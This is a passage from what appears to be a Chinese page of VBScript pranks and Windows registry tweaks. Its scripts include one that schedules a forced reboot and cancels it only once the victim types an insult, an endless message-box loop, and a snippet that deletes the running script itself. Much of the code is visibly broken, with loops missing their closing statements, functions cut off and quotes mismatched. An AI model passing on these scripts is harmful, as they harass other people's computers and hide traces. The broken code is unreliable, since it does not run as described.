char_wordtable(16)="齑龉龊儒冀凝劓嘴噤器噩噪噫噬噱噻噼嚆圜墼壁壅嬖嬗嬴寰廨廪徼憝憩憷憾懈懊懒懔撼擀擂擅操擎擐擗擞整斓暾樨樵樽樾橇橐橘橙橛橱橹橼檎檠歙殪氅氆氇潞澡澧澶澹激濂濉濑濒熹燃燎燔燕燠燧犟獬獭璞瓢甏甑瘭瘰瘳瘴瘵瘸瘾瘿癀癃盥瞟瞠瞥瞰磨磬磲磺禧穆穑窿篙篚篝篡篥篦篪篮篱篷糕糖糗糙缰缱缲缳缴罹羲翮翰翱耨耩耪聱膦膨膪膳臻蕹蕻蕾薄薅薇薏薛薜薤薨薪薮薯螃螅螈融螓螗螟螨螭螯蟆蟒衡褰褶赝赞赠踱踵踹踽蹀蹁蹂蹄蹉辙辚辨辩遽避邀邂鄹醍醐醑醒醚醛錾镖镗镘镙镛镜镝镞镟隰雕霍霎霏霓霖靛鞔鞘颞颟颠颡飙飚餐髭髹髻魈魉鲭鲮鲰鲱鲲鲳鲴鲵鲶鲷鲸鲺鲻鹦鹧鹨鹾麇麈黉黔默"

char_wordtable(17)="鼽儡嚅嚎嚏嚓壑壕嬲嬷孺嶷徽懋懑懦戴擘擢擤擦曙朦檀檄檐檑檗檩檬濞濠濡濮濯燥燮爵獯璐璨璩甓疃癌癍皤瞧瞩瞪瞬瞳瞵磴磷礁礅穗篼篾簇簋簌簏簖簧糜糟糠縻繁繇罄罅罾羁翳翼膺膻臀臁臂臃臆臊臌艚薰薷薹藁藉藏藐藓螫螬螳螵螺螽蟀蟊蟋蟑蟓蟥襁襄觳謇豁豳貔貘赡赢蹇蹈蹊蹋蹑蹒辫邃邈醢醣鍪镡镢镣镤镥镦镧镨镩镪镫隳霜霞鞠馘骤髀髁魍魏鲼鲽鳃鳄鳅鳆鳇鳊鳋鹩鹪鹫鹬麋黏黛黜黻鼢鼾龋"

char_wordtable(18)="龌龠冁嚣彝懵戳曛曜檫瀑燹璧癔癖癜癞瞻瞽瞿礓礞簟簦簪糨翻艟藕藜藤藩蟛蟠蟪蟮襟覆謦蹙蹦蹩躇邋醪鎏鏊镬镭镯镰镱雠鞣鞫鞭鞯颢餮馥髂髅鬃鬈鳌鳍鳎鳏鳐鹭鹰"

char_wordtable(19)="黝黟黠鼬嚯孽巅攀攉攒曝瀚瀛瀣爆璺瓣疆癣礤簸簿籀籁缵羸羹艨藻藿蘅蘑蘧蟹蟾蠃蠊蠓蠖襞襦警谶蹬蹭蹯蹰蹲蹴蹶蹼蹿酃醭醮醯鏖镲霪霭靡鞲鞴颤骥髋髌鬏魑鳓鳔鳕鳖鳗鳘鳙鹱麒麓"

char_wordtable(20)="麴黢黼鼗嚷嚼壤孀巍攘曦瀵瀹灌獾瓒矍籍糯纂耀蘖蘩蠕蠛譬躁躅酆醴醵镳霰颥馨骧鬓魔鳜鳝鳞"

char_wordtable(21)="鳟黥黧黩黪鼍鼯夔曩灏爝癫礴禳羼蠡蠢赣躏醺鐾露霸霹颦髓"

char_wordtable(22)="鳢麝黯鼙囊懿氍瓤穰耱蘸蘼躐躔镶"

char_wordtable(23)="霾饔饕髑鬻鹳麟攥攫癯罐趱躜颧"

char_wordtable(24)="鬟鼷鼹齄灞矗蠲蠹衢襻躞鑫"

char_wordtable(25)="鬣馕囔戆攮纛"

char_wordtable(26)="蠼爨"

wordnum_i=0

wordnum_j=0

wordnum_k=0

for wordnum_i=1 to Len(my_char_word)

temp_wordnum=Mid(my_char_word,wordnum_i,1)

for wordnum_j=1 to 26

if instr(1,char_wordtable(wordnum_j),temp_wordnum)>0 then

wordnum_k=wordnum_k+wordnum_j

exit for

end if

char_wordnum=wordnum_k

End Function

有趣逗人：是个典型的脚本选择语句。代码如下：

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试???"" ",0 ,true

dim a

do while(a <> "我是猪")

a = inputbox ("我是猪,就不关机，快撒，说 ""我是猪""　","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "嗯~今儿就饶咯你~”

Aiways Happy：一个死循环窗口，可以写自己想说的话。可以在进程管理中将script.exe结束即可关闭窗口。代码如下：

do

msgbox”you are foolish”

loop

珍惜时间器：每15分钟提醒一次。在进程管理中将script.exe结束将其关闭。代码如下：

today=Date()

years=DatePart("yyyy",today)-1981-1

Days=DatePart("y",today)+25

If DatePart("m",today)=12 Then

if DatePart("d",today)>=9 Then

MsgBox "ok"

Years=Years+1

Days=DatePart("d",Date)-9

end if

end If

MsgBox "AT ^"&Years&"C!"&Days&"D^ SPACE-TIME!",4096+64,"脚本之家提示"

set wshshell=CreateObject("WScript.Shell")

Do

WScript.Sleep 900000

getstr=MsgBox("15分钟过去了!",4097,"......!")

If getstr=vbCancel Then

wshshell.Popup "Bye-Bye!",2,"......!"

WScript.Quit

End If

Loop

汉字转拼音：可以将所输入的汉字转化成拼音。但是有一个BUG，就是关闭不了。方法是在进程管理中将script.exe结束将其关闭。代码如下：

Set d = createObject("Scripting.Dictionary")

d.add "a",-20319

d.add "ai",-20317

d.add "an",-20304

d.add "ang",-20295

d.add "ao",-20292

d.add "ba",-20283

d.add "bai",-20265

d.add "ban",-20257

d.add "bang",-20242

d.add "bao",-20230

d.add "bei",-20051

d.add "ben",-20036

d.add "beng",-20032

d.add "bi",-20026

d.add "bian",-20002

d.add "biao",-19990

d.add "bie",-19986

d.add "bin",-19982

d.add "bing",-19976

d.add "bo",-19805

d.add "bu",-19784

d.add "ca",-19775

d.add "cai",-19774

d.add "can",-19763

d.add "cang",-19756

d.add "cao",-19751

d.add "ce",-19746

d.add "ceng",-19741

d.add "cha",-19739

d.add "chai",-19728

d.add "chan",-19725

d.add "chang",-19715

d.add "chao",-19540

d.add "che",-19531

d.add "chen",-19525

d.add "cheng",-19515

d.add "chi",-19500

d.add "chong",-19484

d.add "chou",-19479

d.add "chu",-19467

d.add "chuai",-19289

d.add "chuan",-19288

d.add "chuang",-19281

d.add "chui",-19275

d.add "chun",-19270

d.add "chuo",-19263

d.add "ci",-19261

d.add "cong",-19249

d.add "cou",-19243

d.add "cu",-19242

d.add "cuan",-19238

d.add "cui",-19235

d.add "cun",-19227

d.add "cuo",-19224

d.add "da",-19218

d.add "dai",-19212

d.add "dan",-19038

d.add "dang",-19023

d.add "dao",-19018

d.add "de",-19006

d.add "deng",-19003

d.add "di",-18996

d.add "dian",-18977

d.add "diao",-18961

d.add "die",-18952

d.add "ding",-18783

d.add "diu",-18774

d.add "dong",-18773

d.add "dou",-18763

d.add "du",-18756

d.add "duan",-18741

d.add "dui",-18735

d.add "dun",-18731

d.add "duo",-18722

d.add "e",-18710

d.add "en",-18697

d.add "er",-18696

d.add "fa",-18526

d.add "fan",-18518

d.add "fang",-18501

d.add "fei",-18490

d.add "fen",-18478

d.add "feng",-18463

d.add "fo",-18448

d.add "fou",-18447

d.add "fu",-18446

d.add "ga",-18239

d.add "gai",-18237

d.add "gan",-18231

d.add "gang",-18220

d.add "gao",-18211

d.add "ge",-18201

d.add "gei",-18184

d.add "gen",-18183

d.add "geng",-18181

d.add "gong",-18012

d.add "gou",-17997

d.add "gu",-17988

d.add "gua",-17970

d.add "guai",-17964

d.add "guan",-17961

d.add "guang",-17950

d.add "gui",-17947

d.add "gun",-17931

d.add "guo",-17928

d.add "ha",-17922

d.add "hai",-17759

d.add "han",-17752

d.add "hang",-17733

d.add "hao",-17730

d.add "he",-17721

d.add "hei",-17703

d.add "hen",-17701

d.add "heng",-17697

d.add "hong",-17692

d.add "hou",-17683

d.add "hu",-17676

d.add "hua",-17496

d.add "huai",-17487

d.add "huan",-17482

d.add "huang",-17468

d.add "hui",-17454

d.add "hun",-17433

d.add "huo",-17427

d.add "ji",-17417

d.add "jia",-17202

d.add "jian",-17185

d.add "jiang",-16983

d.add "jiao",-16970

d.add "jie",-16942

d.add "jin",-16915

d.add "jing",-16733

d.add "jiong",-16708

d.add "jiu",-16706

d.add "ju",-16689

d.add "juan",-16664

d.add "jue",-16657

d.add "jun",-16647

d.add "ka",-16474

d.add "kai",-16470

d.add "kan",-16465

d.add "kang",-16459

d.add "kao",-16452

d.add "ke",-16448

d.add "ken",-16433

d.add "keng",-16429

d.add "kong",-16427

d.add "kou",-16423

d.add "ku",-16419

d.add "kua",-16412

d.add "kuai",-16407

d.add "kuan",-16403

d.add "kuang",-16401

d.add "kui",-16393

d.add "kun",-16220

d.add "kuo",-16216

d.add "la",-16212

d.add "lai",-16205

d.add "lan",-16202

d.add "lang",-16187

d.add "lao",-16180

d.add "le",-16171

d.add "lei",-16169

d.add "leng",-16158

d.add "li",-16155

d.add "lia",-15959

d.add "lian",-15958

d.add "liang",-15944

d.add "liao",-15933

d.add "lie",-15920

d.add "lin",-15915

d.add "ling",-15903

d.add "liu",-15889

d.add "long",-15878

d.add "lou",-15707

d.add "lu",-15701

d.add "lv",-15681

d.add "luan",-15667

d.add "lue",-15661

d.add "lun",-15659

d.add "luo",-15652

d.add "ma",-15640

d.add "mai",-15631

d.add "man",-15625

d.add "mang",-15454

d.add "mao",-15448

d.add "me",-15436

d.add "mei",-15435

d.add "men",-15419

d.add "meng",-15416

d.add "mi",-15408

d.add "mian",-15394

d.add "miao",-15385

d.add "mie",-15377

d.add "min",-15375

d.add "ming",-15369

d.add "miu",-15363

d.add "mo",-15362

d.add "mou",-15183

d.add "mu",-15180

d.add "na",-15165

d.add "nai",-15158

d.add "nan",-15153

d.add "nang",-15150

d.add "nao",-15149

d.add "ne",-15144

d.add "nei",-15143

d.add "nen",-15141

d.add "neng",-15140

d.add "ni",-15139

d.add "nian",-15128

d.add "niang",-15121

d.add "niao",-15119

d.add "nie",-15117

d.add "nin",-15110

d.add "ning",-15109

d.add "niu",-14941

d.add "nong",-14937

d.add "nu",-14933

d.add "nv",-14930

d.add "nuan",-14929

d.add "nue",-14928

d.add "nuo",-14926

d.add "o",-14922

d.add "ou",-14921

d.add "pa",-14914

d.add "pai",-14908

d.add "pan",-14902

d.add "pang",-14894

d.add "pao",-14889

d.add "pei",-14882

d.add "pen",-14873

d.add "peng",-14871

d.add "pi",-14857

d.add "pian",-14678

d.add "piao",-14674

d.add "pie",-14670

d.add "pin",-14668

d.add "ping",-14663

d.add "po",-14654

d.add "pu",-14645

d.add "qi",-14630

d.add "qia",-14594

d.add "qian",-14429

d.add "qiang",-14407

d.add "qiao",-14399

d.add "qie",-14384

d.add "qin",-14379

d.add "qing",-14368

d.add "qiong",-14355

d.add "qiu",-14353

d.add "qu",-14345

d.add "quan",-14170

d.add "que",-14159

d.add "qun",-14151

d.add "ran",-14149

d.add "rang",-14145

d.add "rao",-14140

d.add "re",-14137

d.add "ren",-14135

d.add "reng",-14125

d.add "ri",-14123

d.add "rong",-14122

d.add "rou",-14112

d.add "ru",-14109

d.add "ruan",-14099

d.add "rui",-14097

d.add "run",-14094

d.add "ruo",-14092

d.add "sa",-14090

d.add "sai",-14087

d.add "san",-14083

d.add "sang",-13917

d.add "sao",-13914

d.add "se",-13910

d.add "sen",-13907

d.add "seng",-13906

d.add "sha",-13905

d.add "shai",-13896

d.add "shan",-13894

d.add "shang",-13878

d.add "shao",-13870

d.add "she",-13859

d.add "shen",-13847

d.add "sheng",-13831

d.add "shi",-13658

d.add "shou",-13611

d.add "shu",-13601

d.add "shua",-13406

d.add "shuai",-13404

d.add "shuan",-13400

d.add "shuang",-13398

d.add "shui",-13395

d.add "shun",-13391

d.add "shuo",-13387

d.add "si",-13383

d.add "song",-13367

d.add "sou",-13359

d.add "su",-13356

d.add "suan",-13343

d.add "sui",-13340

d.add "sun",-13329

d.add "suo",-13326

d.add "ta",-13318

d.add "tai",-13147

d.add "tan",-13138

d.add "tang",-13120

d.add "tao",-13107

d.add "te",-13096

d.add "teng",-13095

d.add "ti",-13091

d.add "tian",-13076

d.add "tiao",-13068

d.add "tie",-13063

d.add "ting",-13060

d.add "tong",-12888

d.add "tou",-12875

d.add "tu",-12871

d.add "tuan",-12860

d.add "tui",-12858

d.add "tun",-12852

d.add "tuo",-12849

d.add "wa",-12838

d.add "wai",-12831

d.add "wan",-12829

d.add "wang",-12812

d.add "wei",-12802

d.add "wen",-12607

d.add "weng",-12597

d.add "wo",-12594

d.add "wu",-12585

d.add "xi",-12556

d.add "xia",-12359

d.add "xian",-12346

d.add "xiang",-12320

d.add "xiao",-12300

d.add "xie",-12120

d.add "xin",-12099

d.add "xing",-12089

d.add "xiong",-12074

d.add "xiu",-12067

d.add "xu",-12058

d.add "xuan",-12039

d.add "xue",-11867

d.add "xun",-11861

d.add "ya",-11847

d.add "yan",-11831

d.add "yang",-11798

d.add "yao",-11781

d.add "ye",-11604

d.add "yi",-11589

d.add "yin",-11536

d.add "ying",-11358

d.add "yo",-11340

d.add "yong",-11339

d.add "you",-11324

d.add "yu",-11303

d.add "yuan",-11097

d.add "yue",-11077

d.add "yun",-11067

d.add "za",-11055

d.add "zai",-11052

d.add "zan",-11045

d.add "zang",-11041

d.add "zao",-11038

d.add "ze",-11024

d.add "zei",-11020

d.add "zen",-11019

d.add "zeng",-11018

d.add "zha",-11014

d.add "zhai",-10838

d.add "zhan",-10832

d.add "zhang",-10815

d.add "zhao",-10800

d.add "zhe",-10790

d.add "zhen",-10780

d.add "zheng",-10764

d.add "zhi",-10587

d.add "zhong",-10544

d.add "zhou",-10533

d.add "zhu",-10519

d.add "zhua",-10331

d.add "zhuai",-10329

d.add "zhuan",-10328

d.add "zhuang",-10322

d.add "zhui",-10315

d.add "zhun",-10309

d.add "zhuo",-10307

d.add "zi",-10296

d.add "zong",-10281

d.add "zou",-10274

d.add "zu",-10270

d.add "zuan",-10262

d.add "zui",-10260

d.add "zun",-10256

d.add "zuo",-10254

function g(num)

if num>0 and num<160 then

g=chr(num)

else

if num<-20319 or num>-10247 then

g=""

else

a=d.Items

b=d.keys

for i=d.count-1 to 0 step -1

if a(i)<=num then exit for

end if

end function

function c(str)

c=""

for i=1 to len(str)

c=c&g(asc(mid(str,i,1)))

while ex<>"exit"

ex=inputbox(c(ex),"字符转拼音",ex)

wend

删除自身：编写在有效程序之前。代码如下：

Dim fso

set fso =CreateObject("Scripting.FileSystemObject")

fso.DeleteFile WScript.ScriptFullName

REG注册表

新建中添加office：就想题目所说，当安装office后，新建中没有有关程**可以用它来解决即可。代码如下：

【新建Word】Windows Registry Editor Version 5.00[HKEY_CLASSES_ROOT\.doc]

@="Word.Document.8"

"Content Type"="application/msword"

[HKEY_CLASSES_ROOT\.doc\OpenWithList]

[HKEY_CLASSES_ROOT\.doc\OpenWithList\WordPad.exe]

@=""

[HKEY_CLASSES_ROOT\.doc\PersistentHandler]

@="{98de59a0-d175-11cd-a7bd-00006b827d94}"

[HKEY_CLASSES_ROOT\.doc\ShellNew]

[HKEY_CLASSES_ROOT\.doc\Word.Document.6]

[HKEY_CLASSES_ROOT\.doc\Word.Document.6\ShellNew]

"FileName"="winword.doc"

[HKEY_CLASSES_ROOT\.doc\Word.Document.8]

[HKEY_CLASSES_ROOT\.doc\Word.Document.8\ShellNew]

"FileName"="winword8.doc"

[HKEY_CLASSES_ROOT\.doc\WordDocument]

[HKEY_CLASSES_ROOT\.doc\WordDocument\ShellNew]

"FileName"="winword2.doc"

[HKEY_CLASSES_ROOT\.doc\WordPad.Document.1]

[HKEY_CLASSES_ROOT\.doc\WordPad.Document.1\ShellNew]

"NullFile"=""

【新建Excel】Windows Registry Editor Version 5.00[HKEY_CLASSES_ROOT\.xls]

"Content Type"="application/vnd.ms-excel"

@="Excel.Sheet.8"

[HKEY_CLASSES_ROOT\.xls\Excel.Sheet.5]

[HKEY_CLASSES_ROOT\.xls\Excel.Sheet.5\ShellNew]

"FileName"="excel.xls"

[HKEY_CLASSES_ROOT\.xls\Excel.Sheet.8]

@=""

[HKEY_CLASSES_ROOT\.xls\Excel.Sheet.8\ShellNew]

"FileName"="excel9.xls"

[HKEY_CLASSES_ROOT\.xls\ExcelWorksheet]

[HKEY_CLASSES_ROOT\.xls\ExcelWorksheet\ShellNew]

"FileName"="excel4.xls"

[HKEY_CLASSES_ROOT\.xls\PersistentHandler]

@="{98de59a0-d175-11cd-a7bd-00006b827d94}"

【新建PPT】Windows Registry Editor Version 5.00[HKEY_CLASSES_ROOT\.ppt]

"Content Type"="application/vnd.ms-powerpoint"

@="PowerPoint.Show.8"

[HKEY_CLASSES_ROOT\.ppt\PersistentHandler]

@="{98de59a0-d175-11cd-a7bd-00006b827d94}"

[HKEY_CLASSES_ROOT\.ppt\PowerPoint.Show.4]

[HKEY_CLASSES_ROOT\.ppt\PowerPoint.Show.4\ShellNew]

"FileName"="powerpnt.ppt"

[HKEY_CLASSES_ROOT\.ppt\PowerPoint.Show.8]

[HKEY_CLASSES_ROOT\.ppt\PowerPoint.Show.8\ShellNew]

"FileName"="pwrpnt11.pot"

找回误删的文档：代码如下：Windows Registry Editor Version 5.00